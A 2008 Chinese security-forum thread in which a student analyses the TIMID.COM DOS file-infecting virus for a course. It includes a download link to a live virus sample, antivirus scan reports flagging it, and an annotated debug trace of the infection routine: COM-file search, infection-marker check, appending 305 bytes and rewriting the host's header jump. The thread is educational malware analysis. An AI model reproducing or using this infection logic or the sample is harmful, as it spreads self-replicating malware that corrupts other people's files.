[讨论]TIMID.COM病毒汇编分析
[讨论]TIMID.COM病毒汇编分析信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/]www.eviloctal.com[/url])
议题作者:姚智
朋友推荐的这个论坛,听说有很多汇编高手,今天也是第一次来,不知道有没有发对地方。(如有失误,还请多多包含)
我这学期选了一门课:《计算机病毒及防治原理》。期中有个实验要求我们对TIMID.COM病毒(能感染同目录下的COM文件)的感染机制进行详细分析。但是小弟我的汇编知识很浅漏,只能求助邪恶八进制的各位兄弟姐妹们,希望能给一点宝贵的意见。(附件里有病毒样本)小弟万分感谢……
一下是我在debug下,用反汇编指令查看到的一些代码:
-u
0B5A:0100 E90900 JMP 010C
0B5A:0103 56 PUSH SI
0B5A:0104 49 DEC CX
0B5A:0105 212A AND [BP+SI],BP
0B5A:0107 2E CS:
0B5A:0108 43 INC BX
0B5A:0109 4F DEC DI
0B5A:010A 4D DEC BP
0B5A:010B 00E8 ADD AL,CH
0B5A:010D 0000 ADD [BX+SI],AL
0B5A:010F 812EFCFF0900 SUB WORD PTR [FFFC],0009
0B5A:0115 BA2AFF MOV DX,FF2A
0B5A:0118 B41A MOV AH,1A
0B5A:011A CD21 INT 21
0B5A:011C E83E00 CALL 015D
0B5A:011F 7510 JNZ 0131
附件
[img]http://forum.eviloctal.com/images/attachicons/zip.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=11499]timid.zip[/url] (378 Bytes)
2008-4-6 13:07, 下载次数: 82
帖子4 精华[url=http://forum.eviloctal.com/digest.php?authorid=161557]0[/url] 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=161557]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=140931&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=140931&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]
[url=http://forum.eviloctal.com/space-uid-67784.html]赵子岩[/url]
惟一
[img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 ACCESS DENIED
The requested URL could not be retrieved
--------------------------------------------------------------------------------
While trying to retrieve the URL: [url=http://forum.eviloctal.com/attachment.php?aid=11499]http://forum.eviloctal.com/attachment.php?aid=11499[/url]
The folowing error was encountered:
The requested object is INFECTED. The following viruses Virus.DOS.Timid.305.a were found
Please contact your service provider if you feel this is incorrect.
--------------------------------------------------------------------------------
Generated Sat Apr 12 11:16:34 2008 by Kaspersky Anti-Virus 7.0
帖子110 精华[url=http://forum.eviloctal.com/digest.php?authorid=67784]2[/url] 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67784]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=141132&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=141132&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-67784.html]赵子岩[/url]
惟一
[img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 瑞星病毒查杀结果报告
清除病毒种类列表:
病毒: Timid.305.a
MAC 地址:00:11:5B:F3:6D:69
用户来源:互联网
软件版本:20.39.51
帖子110 精华[url=http://forum.eviloctal.com/digest.php?authorid=67784]2[/url] 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67784]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=141192&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=141192&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]
[url=http://forum.eviloctal.com/space-uid-67784.html]赵子岩[/url]
惟一
[img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 Start of the scan: 2008年4月12日 17:41
Starting the file scan:
Begin scan in 'C:\Documents and Settings\Administrator\桌面\timid.zip'
C:\Documents and Settings\Administrator\桌面\timid.zip
[0] Archive type: ZIP
--> TIMID.COM
[DETECTION] Contains code of the Timid-B virus
[INFO] The file was deleted!
End of the scan: 2008年4月12日 17:41
Used time: 00:01 min
晕 人家意思是汇编看不懂..
帖子110 精华[url=http://forum.eviloctal.com/digest.php?authorid=67784]2[/url] 积分291 阅读权限40 在线时间62 小时 注册时间2006-10-22 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67784]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=141193&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=141193&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-139.html]落叶树[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 没看懂楼主在讨论什么,让别人帮你分析这个病毒代码吗?BLOG: http://blog.csdn.net/hkbyest
帖子892 精华[url=http://forum.eviloctal.com/digest.php?authorid=139]42[/url] 积分5686 阅读权限100 性别男 在线时间549 小时 注册时间2004-8-21 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=139]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=141197&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=141197&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-161557.html]姚智[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 引用:
原帖由 落叶树 于 2008-4-13 00:49 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=141197&ptid=32761][img]http://forum.eviloctal.com/images/common/back.gif[/img][/url]
没看懂楼主在讨论什么,让别人帮你分析这个病毒代码吗?
是的……
帖子4 精华[url=http://forum.eviloctal.com/digest.php?authorid=161557]0[/url] 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=161557]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=145231&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=145231&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-129312.html]人魔传说[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 用HIPS抓取下 完了对照反汇编的意思找
帖子1 精华[url=http://forum.eviloctal.com/digest.php?authorid=129312]0[/url] 积分3 阅读权限40 在线时间0 小时 注册时间2007-6-29 最后登录2008-7-2 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=129312]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=145241&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=145241&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-161557.html]姚智[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 现在搞定了,我把自己分析的贴出来吧
命令 指令 涉及内存值 注释
P JMP 010C 跳转到偏移地址为010C的地方执行
T CALL 010F 调用子程序
P SUB WORD PTR [FFFC],0009 DS:FFFC=010F 将DS:FFFC内容改为0106
P MOV DX,FF2A 设置DTA的偏移地址
P MOV AH,1A 设置DTA(磁盘传输区)地址,DS:DX=传输区首址,DTA=DS:FF2A
P INT 21
T CALL 015D 调用程序模块
P MOV DX,[FFFC] DS:FFFC=0106 定位病毒体的位置
MOV CX,003F 设置隐藏和系统属性
P MOV AH,4E 第一个匹配的文件,DS:DX=字符串地址,存放着匹配字符*.com,(CX=属性)(出口参数DTA中)
P INT 21
P OR AL,AL 检查调用是否成功
P JNZ 0177 没有则以z=0退出
T CALL 0178 调用子程序,打开timid.com病毒程序
P MOV DX,FF48 将字符串“TIMID.COM”存入DS:FF48
P MOV AX,3D02 DS:DX=字符串地址(以0为字符串的结束标志),AL=02则以读/ 写方式打开文件timid.com,AX=文件号(句柄号)CF=0(NC)表示打开成功,否则,AX=错误号(02H、03H、04H、05H或0CH)
P INT 21
P JB 01AB JB的测试条件CF=1,即检测文件是否打开成功,打开文件失败则跳转到CS:01AB处执行
P MOV BX,AX BX=0005
P PUSH BX 将BX压入堆栈
P MOV CX,0005
P MOV DX,FF57 设置缓冲区偏移地址
P MOV AH,3F 读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(内容为:mov a),AX=实际读出的字节数
P INT 21
P POP BX
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21
P MOV AX,[FF44] DS:FF44=0137 将TIMID.COM的文件大小137H字节存入AX
P ADD AX,0205 加上病毒码的长度,存入AX中
P JB 01AB
P CMP BYTE PTR [FF57],E9 DS:FF57=E9
P JNZ 01B0 标志位为0时继续执行下面的比较,否则跳转
P CMP WORD PTR [FF5A],4956 DS:FF5A=4956
P JNZ 01B0 标志位为0时继续执行下面的比较,否则跳转
P MOV AL,01 不感染,清Z
P OR AL,AL 清Z
P RET 将IP从堆栈弹出,跳转到016F执行
P JZ 0177 没有可感染的文件则跳转,此时CS:IP=RET
P MOV AH,4F 查找下一个文件,入口和出口参数在DTA中
P INT 21
P JMP 0168
P OR AL,AL
P JNZ 0177
T CALL 0178
P MOV DX,FF48 将字符串“TEST1.COM”存入DS:FF48
P MOV AX,3D02 DS:DX=字符串地址,AL=02则以读/写方式打开文件test1.com,AX=文件号(句柄号)
P INT 21
P JB 01AB
P MOV BX,AX
P PUSH BX
P MOV CX,0005 设置读取字节数
P MOV DX,FF57 设置缓冲区偏移地址
P MOV AH,3F 读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(读出mov a),AX=实际读出的字节数
P INT 21
P POP BX
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21
P MOV AX,[FF44] DS:FF44=0015 test1.com的大小保存于AX中
P ADD AX,0205 加上病毒码的长度,存入AX中
P JB 01AB
P CMP BYTE PTR [FF57],E9 DS:FF57=6D 用test1.com的首字节6D和病毒感染标志E9比较
P JNZ 01B0 文件test1.com没有被感染,程序跳转到DS:01B0处执行
P XOR AL,AL
P RET 将IP从堆栈弹出,跳转到016F执行
P JZ 0177
P RET 将IP从堆栈弹出,跳转到011F执行
P JNZ 0131 不跳转继续向下执行
T CALL 01B3
P MOV DX,FF48 存放文件名test1.com
P MOV AX,3D02 DS:DX=字符串地址,读/写方式打开文件test1.com,AX=文件号 (句柄号)
P INT 21
P MOV [FF55],AX DS:FF55=0000
P XOR CX,CX
P MOV DX,CX 设置DX=CX=0
P MOV BX,[FF55] DS:FF55=0005 保存文件句柄
P MOV AX,4202 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=2表示绝对移动,DX:AX=新指针的位置
P INT 21
P MOV CX,0131 设置写入被感染文件字节的大小为305个字节
P MOV DX,[FFFC] DS:FFFC=0106 指定要写入的数据的地址
P MOV BX,[FF55] DS:FF55=0005 设置文件句柄
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=写入字节数,DS:DX=缓冲区首址
P INT 21 执行完该指令后,文件末尾被写入305个字节
P XOR CX,CX
P MOV DX,[FF44] DS:FF44=0015 保存原始文件大小
P ADD DX,0052 (设置test1.com文件头5个字节在病毒添加的305个字节中的位置) 原始文件偏移量与长度相加,即:将文件的头5个字节移动到距离源test1.com文件末尾52H(82)后5个字节的地方
P MOV BX,[FF55] DS:FF55=0005
P MOV AX,4200 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置
P INT 21
P MOV CX,0005 设置写入字节数
P MOV BX,[FF55] DS:FF55=0005
P MOV DX,FF57
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址
P INT 21
P XOR CX,CX
P MOV DX,CX
P MOV BX,[FF55] DS:FF55=0005
P MOV AX,4200 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置
P INT 21 执行完该指令后,文件头部5个字节将被改变
P MOV BX,[FFFC] DS:FFFC=0106
P MOV BYTE PTR [FF57],E9 DS:FF57=6D 设置test1.com文件的第一个字节
P MOV AX,[FF44] DS:FF44=0015 保存test1.com文件原始长度
P ADD AX,0003 AX为test1.com文件的长度+0003
P MOV [FF58],AX DS:FF58=766F 将test1.com的第二、三个字节改为文件长度+0003
P MOV WORD PTR [FF5A],4956 DS:FF5A=6120 将test1.com的第四、五个字节改为56H和49H
P MOV CX,0005 设置写入test1.com的字节数
P MOV DX,FF57
P MOV BX,[FF55] DS:FF55=0005
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址
P INT 21
P MOV BX,[FF55] DS:FF55=0005
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21 文件头被移动并被标记
P RET
P MOV DX,FF48
P MOV WORD PTR [FF55],0024 DS:FF55=0005
P MOV AH,09 显示字符串,DS:DX=缓冲区首址
P INT 21
P MOV DX,0080
P MOV AH,1A 设置DTA(磁盘传输区)地址,DS:DX=传输区首址
P INT 21 对DTA的内容进行恢复
P MOV BX,[FFFC] DS:FFFC=0106
将宿主文件的前五个字节写入ds:[100]-ds[104]
P MOV AX,[BX+0052] DS:0158=4CB4
P MOV [0100],AX DS:0100=09E9
P MOV AX,[BX+0054] DS:015A=00B0
P MOV [0102],AX DS:0102=5600
P MOV AL,[BX+0056] DS:015C=CD
P MOV [0104],AL DS:0104=49
P MOV WORD PTR [FFFC],0100 DS:FFFC=0106
P RET
P MOV AH,4C 终止当前程序并返回调用程序
P MOV AL,00 AL=退出码
P INT 21
帖子4 精华[url=http://forum.eviloctal.com/digest.php?authorid=161557]0[/url] 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=161557]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32761&repquote=145750&extra=page%3D1&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32761&pid=145750&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-161557.html]姚智[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然
页:
[1]